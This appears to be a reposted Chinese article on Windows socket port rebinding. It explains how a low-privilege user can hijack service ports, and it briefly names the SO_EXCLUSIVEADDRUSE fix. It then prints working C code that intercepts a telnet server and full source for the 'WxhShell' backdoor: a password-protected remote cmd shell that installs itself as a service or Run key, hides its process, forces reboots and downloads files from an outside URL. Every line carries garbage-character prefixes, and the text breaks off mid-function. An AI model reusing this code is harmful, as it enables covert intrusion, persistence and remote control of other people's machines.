在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BD+V{x}P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
R87-L*9B^0 7KOM,FWKe saddr.sin_family = AF_INET;
p9ligs7V' lL.3$Rp; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C~F do0D dHV3d'.P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&R:$h*Wt| 48JD >=@7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#IjG[a- KiU/N$E 这意味着什么?意味着可以进行如下的攻击:
fX=o,=-f ZtPq*/' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!sA[A> E^aHe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C=&7V vs-%J6}G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=l?F_ N6Mo| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:uE:mY%R #;59THdtPk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<QoSq'g#,= #gzY _)E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[;3` Aw / E~)xgPM< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=c
3;@CO L P?E #include
.'QE o #include
!PX`sIkT #include
XLe8]y= #include
##~";j DWORD WINAPI ClientThread(LPVOID lpParam);
Fdsaf[3[v int main()
'k[O?} {
spIkXEK WORD wVersionRequested;
GMqeC DWORD ret;
Ffxf!zS WSADATA wsaData;
X_yAx)Do BOOL val;
TxL;qZRY
^ SOCKADDR_IN saddr;
CPssk,q~C SOCKADDR_IN scaddr;
}!=}g|z#| int err;
R0dIxG% SOCKET s;
q 65mR!) SOCKET sc;
"L'0" int caddsize;
\ 8v{9Yb HANDLE mt;
&VG|*&M DWORD tid;
*"4d6 wVersionRequested = MAKEWORD( 2, 2 );
dLb9p"EE# err = WSAStartup( wVersionRequested, &wsaData );
PMER~}^ if ( err != 0 ) {
Y0`@$d&n printf("error!WSAStartup failed!\n");
nA:\G":\y return -1;
J
ik+t\A }
T=6fZ;7 saddr.sin_family = AF_INET;
K?[*9Q'\ Ml`tDt|; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R[Y]B$XO zs!}P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Id`?yt saddr.sin_port = htons(23);
NV 6kj=r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8YNii-pl {
X=O}k& printf("error!socket failed!\n");
/5 rWcX return -1;
`NIc*B4q. }
gd~# uR\ val = TRUE;
o4I&?d7;" //SO_REUSEADDR选项就是可以实现端口重绑定的
|DAe2RK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
K:Mm?28s {
P|mV((/m4 printf("error!setsockopt failed!\n");
2
MFGKz O return -1;
"vVL52HwB }
:2#8\7IU^' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MRzrZZ%LQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.I%p0ds1r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sU>!sxW HZ$q`e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
gG;d+s1 {
`uRf*- ret=GetLastError();
'_)NI printf("error!bind failed!\n");
L`E^BuP/ return -1;
d5?"GFy }
]^9B%t
s9 listen(s,2);
fNz*E|]8& while(1)
&^WJ:BvA|^ {
@@$%+XNY caddsize = sizeof(scaddr);
|~Q`DdkX //接受连接请求
# 3{g6[Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
n^OWz4 if(sc!=INVALID_SOCKET)
DoV<p?U {
HD"Pz}k4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
mQ#E{{:H+ if(mt==NULL)
>y<yFO{ {
K}^Jf; printf("Thread Creat Failed!\n");
vwZ d@%BO break;
S,&tKDJn }
GtZkzVqLd }
=*f>vrme CloseHandle(mt);
WH Zz?|^ }
jn+NX)9 closesocket(s);
-
zaqL\ WSACleanup();
E8]PV,#xY return 0;
2q2;Uo`"S. }
x!rHkuH~ DWORD WINAPI ClientThread(LPVOID lpParam)
{ bjK(| {
C:C9swik"5 SOCKET ss = (SOCKET)lpParam;
CV<@Rgoa SOCKET sc;
6*@\Qsp615 unsigned char buf[4096];
"52nT SOCKADDR_IN saddr;
mG,%f"b0 long num;
&=SP"@D DWORD val;
bJ8~/d]+ DWORD ret;
DwTqj=l //如果是隐藏端口应用的话,可以在此处加一些判断
@D.]PZf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1iOQ8hD saddr.sin_family = AF_INET;
MZ_+doN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j!c[$; saddr.sin_port = htons(23);
{4\hxyw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z
Mp {
r Ntc{{3_ printf("error!socket failed!\n");
{bF95Hs- return -1;
.;gK*`G2W) }
gR `:)> val = 100;
d\nBc6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oYWcX9R {
$#V^CmW. ret = GetLastError();
k^A Yg!~ return -1;
cE
x$cZRMI }
!ra CpL9; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|.D_[QI {
5u ED ret = GetLastError();
~<0!sE&y return -1;
6km{=
``` }
,}&E=5MF\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%SV"iXxY {
%I]?xe6 printf("error!socket connect failed!\n");
+cAN4 closesocket(sc);
T7W*S-IW closesocket(ss);
\Fhk> return -1;
hv xvwV1 }
z~d\d!u1 while(1)
&JoMrcEZ {
F\.n42Tz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nU"V@_?\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
*qcL(] Yq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4_,l[BhsQG num = recv(ss,buf,4096,0);
/Cd`h;#@ if(num>0)
],r?]> send(sc,buf,num,0);
"i$uV3d else if(num==0)
-C$Z%I7 0 break;
/*GRE#7S num = recv(sc,buf,4096,0);
cK.T=7T if(num>0)
md[FtcY\ send(ss,buf,num,0);
CL(,Q8yG else if(num==0)
^&t(O1.- break;
Qi^MfHW }
+NRn>1] closesocket(ss);
hA`>SkO closesocket(sc);
kP%Hg/f/Ot return 0 ;
DI=Nqa)r }
HF-Msu6 t`{^gt 3Lwl~h! ==========================================================
K[LTw_oE %g(h%V9f 下边附上一个代码,,WXhSHELL
Y^gK^?K C]UBu-]#S ==========================================================
LX.1]T*m` 6l#1E#]| #include "stdafx.h"
ak50]KYo `+b>@2D_ #include <stdio.h>
+j 5u[X #include <string.h>
&?3?8Q\ #include <windows.h>
EmNB}\IYU #include <winsock2.h>
P9J3Ii! #include <winsvc.h>
RM53B #include <urlmon.h>
z;x`dOP `4s5yNUi= #pragma comment (lib, "Ws2_32.lib")
5Ah-aDBj #pragma comment (lib, "urlmon.lib")
h
Ia{s) 5=Bj?xb$' #define MAX_USER 100 // 最大客户端连接数
w
<]7:/ #define BUF_SOCK 200 // sock buffer
uK]@!gz #define KEY_BUFF 255 // 输入 buffer
=5&)^ \S;%
"0! #define REBOOT 0 // 重启
4 'rWy~`
V #define SHUTDOWN 1 // 关机
|0w'+HaE~N G#'3bxI{f+ #define DEF_PORT 5000 // 监听端口
A"Rzn1/ %5RYa<oP #define REG_LEN 16 // 注册表键长度
@1P1n8mH] #define SVC_LEN 80 // NT服务名长度
bIizh8d? >
3JU // 从dll定义API
@u/<^j3Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1G|Q~%cv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
XzQ=8r>l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@.kv",[{[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8aGZ% UI MAR
kTxzi // wxhshell配置信息
l1c&a[M) struct WSCFG {
,$3 int ws_port; // 监听端口
u*Oz1~ char ws_passstr[REG_LEN]; // 口令
c%)uG _ int ws_autoins; // 安装标记, 1=yes 0=no
'2]u{rr~+ char ws_regname[REG_LEN]; // 注册表键名
4:cbasy char ws_svcname[REG_LEN]; // 服务名
mU_?}}aK, char ws_svcdisp[SVC_LEN]; // 服务显示名
M@Q=!!tQ( char ws_svcdesc[SVC_LEN]; // 服务描述信息
UA,&0.7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
MCQ>BP int ws_downexe; // 下载执行标记, 1=yes 0=no
lf|e8kU\f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U6X~]| o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
xpyb&A *NV`6?o@6 };
K_`*ZV{r w;QDQ
fx0 // default Wxhshell configuration
P0Na<)\'Y! struct WSCFG wscfg={DEF_PORT,
!N,Z3p>Q "xuhuanlingzhe",
5 LX3. 1,
z$G?J+?J "Wxhshell",
p%IR4f "Wxhshell",
>^:g[6Sj "WxhShell Service",
nAF@47Wo "Wrsky Windows CmdShell Service",
v\-"NHl "Please Input Your Password: ",
sNvT0 1,
$?Aez/ "
http://www.wrsky.com/wxhshell.exe",
w0SzK-& "Wxhshell.exe"
7OtQK`P"A };
`P/* x[? U`6QD}c"s // 消息定义模块
i*_KHK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p{Pa(Z]G char *msg_ws_prompt="\n\r? for help\n\r#>";
W~k!qy ` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[&nwB!kt char *msg_ws_ext="\n\rExit.";
U]R?O5K char *msg_ws_end="\n\rQuit.";
8tA.d.8 char *msg_ws_boot="\n\rReboot...";
wt2S[:!p char *msg_ws_poff="\n\rShutdown...";
+ y.IDn^ char *msg_ws_down="\n\rSave to ";
,_rarU)[J =La}^ char *msg_ws_err="\n\rErr!";
9 b]U&A$ char *msg_ws_ok="\n\rOK!";
eiEZtu F:pXdU-xf char ExeFile[MAX_PATH];
6xL=JSi~ int nUser = 0;
0y;&L63>T HANDLE handles[MAX_USER];
#j-,#P@ int OsIsNt;
g#[9O'H `8FC&%X_ SERVICE_STATUS serviceStatus;
]Jnf.3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
.?I!/;=[ iZMsN*9[ // 函数声明
#-'}r}1ZT int Install(void);
|B` -chK int Uninstall(void);
C2<y(GU[Bh int DownloadFile(char *sURL, SOCKET wsh);
NYP3uGH] int Boot(int flag);
-&)^|Atm void HideProc(void);
sF+0v p
int GetOsVer(void);
Nr`nL_DQ int Wxhshell(SOCKET wsl);
lR.a3.~ void TalkWithClient(void *cs);
{+xUAmd int CmdShell(SOCKET sock);
u~s'<c+8_ int StartFromService(void);
dt`L}Yi int StartWxhshell(LPSTR lpCmdLine);
=AD/5E,3 %4 SREq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3]N}k|lb% VOID WINAPI NTServiceHandler( DWORD fdwControl );
M8[YW|VkP tB_ V%qH // 数据结构和表定义
hsqUiB tc6 SERVICE_TABLE_ENTRY DispatchTable[] =
W$'pUhq\H {
C9=f=sGL {wscfg.ws_svcname, NTServiceMain},
J $e.$ah; {NULL, NULL}
K,IOD
t };
,o9)ohw !5B9:p~-
// 自我安装
G4x.''r&Sl int Install(void)
Z;>~<#!4 {
J`RNik*> char svExeFile[MAX_PATH];
IN%>46e` HKEY key;
='VIbE@qC strcpy(svExeFile,ExeFile);
t*qA.xc6 vhL&az // 如果是win9x系统,修改注册表设为自启动
^F" *;8$ if(!OsIsNt) {
G0Wd"AV+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q|ik\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y5Pw*?kn RegCloseKey(key);
(VO Ka if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mlVv3mVyR< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8fe"#^"s R RegCloseKey(key);
g u|;C return 0;
_O!D*=I }
>}4]51s }
) F~> }
[CUJ A else {
?1N0+OW y:42H tS // 如果是NT以上系统,安装为系统服务
'^/E2+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Bw_Ih|y,w if (schSCManager!=0)
&)X<yd0 {
<rC#1wR4 SC_HANDLE schService = CreateService
wP8R=T (
5t<]|-i! schSCManager,
*z+\yfOO" wscfg.ws_svcname,
=d5!O~}r> wscfg.ws_svcdisp,
gx6&'${=# SERVICE_ALL_ACCESS,
`+f\Q2]Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_yoG<qI SERVICE_AUTO_START,
BphF+'CM SERVICE_ERROR_NORMAL,
I"!gzI`Sd svExeFile,
E{fnh50^Q. NULL,
)I>rC%2P NULL,
ks r5P~ NULL,
#!5Nbe NULL,
Hug{9Hr3. NULL
7S1!|*/
I );
2ga}d5lu if (schService!=0)
RyhR# {
; Q 6:# CloseServiceHandle(schService);
PaDT)RrEM CloseServiceHandle(schSCManager);
0iL8i#y* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FRg6-G/S strcat(svExeFile,wscfg.ws_svcname);
)F$Stg3e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
> Qtyw.n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
.lFSFJ ?? RegCloseKey(key);
IRU2/Y cg return 0;
R/wSGP`W }
s{,e^T }
/,>.${,;u CloseServiceHandle(schSCManager);
<=-\so( }
z<fEJN }
2"MI8EK 8;'n.SC{ return 1;
0K2[E^.WN }
:RQ[(zD] MMAC,4 // 自我卸载
IW1\vfe int Uninstall(void)
QVH_B+
Q {
Ck:J HKEY key;
< 5PeI )aC+qhh if(!OsIsNt) {
JdRs=#X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>'jM8=o*Ax RegDeleteValue(key,wscfg.ws_regname);
CS{9|FNz RegCloseKey(key);
h|H;ZC(B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GMNb;D(>K RegDeleteValue(key,wscfg.ws_regname);
E\zhxiI RegCloseKey(key);
L[bGO|O return 0;
BJE <~" }
KCT8Q!\ }
G;m"ao"2 }
u l%bo%&~
else {
l
xfdJNb :A'!u r=\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<S}qcjG if (schSCManager!=0)
kW~F* {
?c2TT
Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B1M/5cr. if (schService!=0)
FSmi.7 {
@Y,F&8a$ if(DeleteService(schService)!=0) {
uqUo4z 5T CloseServiceHandle(schService);
Z:v1?v CloseServiceHandle(schSCManager);
_UBI,Dg] return 0;
'=H^m D+gl }
qck/b CloseServiceHandle(schService);
+B m+Pj> }
1IV
0a CloseServiceHandle(schSCManager);
f UIs(}US }
KR}0(,Y }
'O`3FI 7&3URglsL" return 1;
nX~MoWH1 }
-^b^ 6=# LasH[:QQQ // 从指定url下载文件
r$F]e]Ic\ int DownloadFile(char *sURL, SOCKET wsh)
)^\='(s {
!{Y#<tG] HRESULT hr;
4BT`|(7 char seps[]= "/";
F^YIZ,=p! char *token;
%5G BMMn char *file;
m%[t&^b}T char myURL[MAX_PATH];
FJLJ;]`7+ char myFILE[MAX_PATH];
kpH;D=; Q
8rtZ strcpy(myURL,sURL);
%wf|nnieZ token=strtok(myURL,seps);
;*2e;m~)? while(token!=NULL)
gQuw|u {
L0kNt
&di file=token;
NXBOo token=strtok(NULL,seps);
0 MIMs# }
gDub+^ye>/ -W_s]oBg GetCurrentDirectory(MAX_PATH,myFILE);
.Y|\7%( strcat(myFILE, "\\");
V,+[XB strcat(myFILE, file);
tFaE cP send(wsh,myFILE,strlen(myFILE),0);
S=}~I send(wsh,"...",3,0);
9oP{Al hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*d@Hnu"q if(hr==S_OK)
mM}Ukmy return 0;
@vYmkF` else
'pY;]^M return 1;
O ->eg Qu,k }
jw[BtRW XKX,7 // 系统电源模块
4Aew
)
int Boot(int flag)
n^\;*1%$c@ {
Qcy`O
m^2 HANDLE hToken;
38rZ`O*D TOKEN_PRIVILEGES tkp;
|{)xC= (nD$%/uK' if(OsIsNt) {
yXA f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
BozK!"R_< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<83gn
:$ tkp.PrivilegeCount = 1;
Z9&D'n) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8-a6Q|
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uX +<`3O if(flag==REBOOT) {
6I.m c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n[Iu!v\/* return 0;
3Jm'q,TC }
\( <{)GpBi else {
7f%Qc %B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NNwd;AC return 0;
"O[76}I+.q }
^<\} Y }
!t
Oky else {
g&3#22z if(flag==REBOOT) {
uq4sbkP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SrtVoe[ return 0;
qW~R-g] }
bH/pa#G(
else {
1?RCJ]e5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4)HWPX return 0;
P"h\7V,d% }
.'b3iG& }
KVM@//:{ C9U{^ return 1;
+;*(a3Gp }
18"VB50b} 2nU
NI
U // win9x进程隐藏模块
iW@Vw{|i I void HideProc(void)
1m`tqlFU9 {
7~ese+\smG DRW.NL o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
sV^h#g~Zb if ( hKernel != NULL )
p/1}>F|i {
9G&l qfX: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y3nm!tjyM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C^" Hj FreeLibrary(hKernel);
O)xEF~DaD }
6IY}SI0N 6L2*gO:r? return;
NhK(HTsvK }
!)/iRw9re "YzTMKu // 获取操作系统版本
]Ec[")"kT int GetOsVer(void)
I0H Y#z% {
*_<*bhR< OSVERSIONINFO winfo;
gn W~KLqH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
r.wIk0 GetVersionEx(&winfo);
5Ue^>8- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6G<Hi"I return 1;
Cre0e$ a else
RpXs3=9 return 0;
nn)`eR& }
tM$0 >E {?f ^ // 客户端句柄模块
6l\UNG7 int Wxhshell(SOCKET wsl)
lDJd#U'V {
a^XTW7]r SOCKET wsh;
;Co[y=Z struct sockaddr_in client;
wEfz2Eq DWORD myID;
C*s0r; rF'^w56 while(nUser<MAX_USER)
LbV]JP {
%V %#y $l int nSize=sizeof(client);
JQ@`EV9, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9<A\npD if(wsh==INVALID_SOCKET) return 1;
HcBH!0 j,56Lh%1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
pl#o!j( i if(handles[nUser]==0)
^wO_b'@v closesocket(wsh);
f_4S>C$ else
Y!a+#N! nUser++;
a0?iR5\ }
t$y&=v WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q3x;_y^ Q}Ze-JIL$ return 0;
XJJ[F|k~ }
V"7<[u]K| < R|)5/9 // 关闭 socket
7zg)h void CloseIt(SOCKET wsh)
iVq#aXN {
{wpMg closesocket(wsh);
g8+4$2`ny nUser--;
_PyW=Tj ExitThread(0);
5"}y\ }
%%as>}. T^'*_*m // 客户端请求句柄
?+
-/'; void TalkWithClient(void *cs)
FI`nRFq)C {
(pE\nuA\ 7TV>6i+7 SOCKET wsh=(SOCKET)cs;
v#:+n+y\z char pwd[SVC_LEN];
w%8ooQ|C char cmd[KEY_BUFF];
Krp
<bK6 char chr[1];
Zr.\`mG4f int i,j;
vNC$f(cQ =wIdC3Ph while (nUser < MAX_USER) {
yp[<9%Fi dT hn? if(wscfg.ws_passstr) {
d^Zo35X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>?>u bM`, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8Fd1;G6 //ZeroMemory(pwd,KEY_BUFF);
N;C"X4rV i=0;
@Z9>3'2]A while(i<SVC_LEN) {
PG^j} &?/N}g@K // 设置超时
+QIGR'3u fd_set FdRead;
;z.6'EYMG struct timeval TimeOut;
yfM>8"h@ FD_ZERO(&FdRead);
`'xQ6Sy FD_SET(wsh,&FdRead);
+p9LE4g7Q TimeOut.tv_sec=8;
U^[cYTG TimeOut.tv_usec=0;
lruF96C/Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VQy9Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M.xhVgFf) Hi; K"H]x1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OX)#F'Sl} pwd
=chr[0]; N+\oFbE
if(chr[0]==0xd || chr[0]==0xa) { `7QvwXsH]
pwd=0; u [V4OU}%
break; fqcU5l[v,
} !paN`Fz\a
i++; .N5hV3
} s6uF5]M;2
}g>dn
// 如果是非法用户,关闭 socket HF&h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }zkL[qu;
} c!\.[2n
jw/'*e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <=;H[}
e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,]~u:Y}
bGZhUEq
while(1) { C1X}3bB
d98))G~W
ZeroMemory(cmd,KEY_BUFF); r/mA2
n9]IBIthe
// 自动支持客户端 telnet标准 h^o+E2<]
j=0; l5FuMk-
while(j<KEY_BUFF) { K-2.E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BW'L.*2
cmd[j]=chr[0]; wXr>p)mP
if(chr[0]==0xa || chr[0]==0xd) { W<\ kf4Y
cmd[j]=0; r+t ,J|V
break; |rr$U
} )ZT6:)
j++; =dgo!k
} Q^$ghZ6V
ZhhI@_sz
// 下载文件 zW%>"y
if(strstr(cmd,"http://")) { 7))y}N:p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q=d.y&4%
if(DownloadFile(cmd,wsh)) FX%t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^~ Ekg:`
else gW%pM{PW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! 9d_Gf-
} #d7N| 9_
else { !OPSS P]-
,9=gVW{
switch(cmd[0]) { C-Nuy1o
SV$nyV
// 帮助 TRF]i/Bs
case '?': { O!:QJ
^8d
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &}vR(y*#c
break; h7bPAW=(
} 3.Ji5~
// 安装 ~c9>Nr9|`
case 'i': { j(0Ilx|7v
if(Install()) v2Dt3$@H6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzHT.iBn
else YSqv86
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *,"jF!C&[
break; By2s ']bw
} Ee{ `Y0
// 卸载 i~9?:plS
case 'r': { }P#Vsqe V
if(Uninstall()) K@q&HV"'.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qOW#Q:T
else t:\l&R&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~V @;(_T
break; FXS^^p
P
} cb+l"FI7
// 显示 wxhshell 所在路径 ^:m^E0(H
case 'p': { p= {Jf}v
char svExeFile[MAX_PATH]; `-4'/~G
strcpy(svExeFile,"\n\r"); [-4KY4R
strcat(svExeFile,ExeFile); :%N*{uy
send(wsh,svExeFile,strlen(svExeFile),0); `q%U{IR
break; y|^EGnaE
} 8s<^]sFP
// 重启 Ks#A<! ;=
case 'b': { zm3-C%:Bw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /$;,F't#2M
if(Boot(REBOOT)) '0]r<O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E_~x==cb
else { Yg/}ghF\
closesocket(wsh); @!e~G'j%VD
ExitThread(0); #;`Oj
} 27m@|M] R
break; `AR"!X
} b 8>q;
// 关机 gc##V]OD
case 'd': { Hk@r5<{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }7.#Dj/r6
if(Boot(SHUTDOWN)) C)OG62
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7:9_/e0T
else { cA<<&C
closesocket(wsh); H#35@HF*o
ExitThread(0); !K[/L<
Kv
} |8bE9qt.P
break; lK*jhW?3:
} fmFzW*,E
// 获取shell S.: 7k9
case 's': { $0#6"urG
CmdShell(wsh); h}h^L+4
closesocket(wsh); t)} \9^Uo
ExitThread(0); |=O1Hn
break; R"Kz!NTB
} L x.jrF|&
// 退出 cJ.
7Mt
case 'x': { lkb2?2\+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _%{0?|=
CloseIt(wsh); %%&e"&7HE
break; z$|;-u|
} c_#*mA"+
// 离开 I+|uUg5
case 'q': { h$pk<<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ys%zlbj[
closesocket(wsh); !4t`Hv?'
WSACleanup(); <#y*h8IZ@t
exit(1); wX0l?xdI
break; _8^0!,j
} Q ]"jD#F
} =2%VZE7Vm
} $eBQH
v5T`K=qC
// 提示信息 3C M^j<9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %G[/H.7s-
} F;P5D<
} -IU4#s
s)ky/ce
return; )t%h[0{{
} ?ok)>P
eLV.qLBUs
// shell模块句柄 #dxvz^2V.3
int CmdShell(SOCKET sock) s]Gd-j
{ .*Vkua
STARTUPINFO si; B`{mdjMy
ZeroMemory(&si,sizeof(si)); ZVL
gK}s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >aG= T{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +AoP{x$Ia
PROCESS_INFORMATION ProcessInfo; PO o%^'(
char cmdline[]="cmd"; rP'AJDuq
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O9^T3~x[V
return 0; "Zcu[2,
} 1`JB)9P
3+(z_!Qh
// 自身启动模式 ^"x<)@X
int StartFromService(void) $7NCb7%/L
{ *~2cG;B"e
typedef struct Pu;yEh
{ uw33:G
DWORD ExitStatus; t'g^W
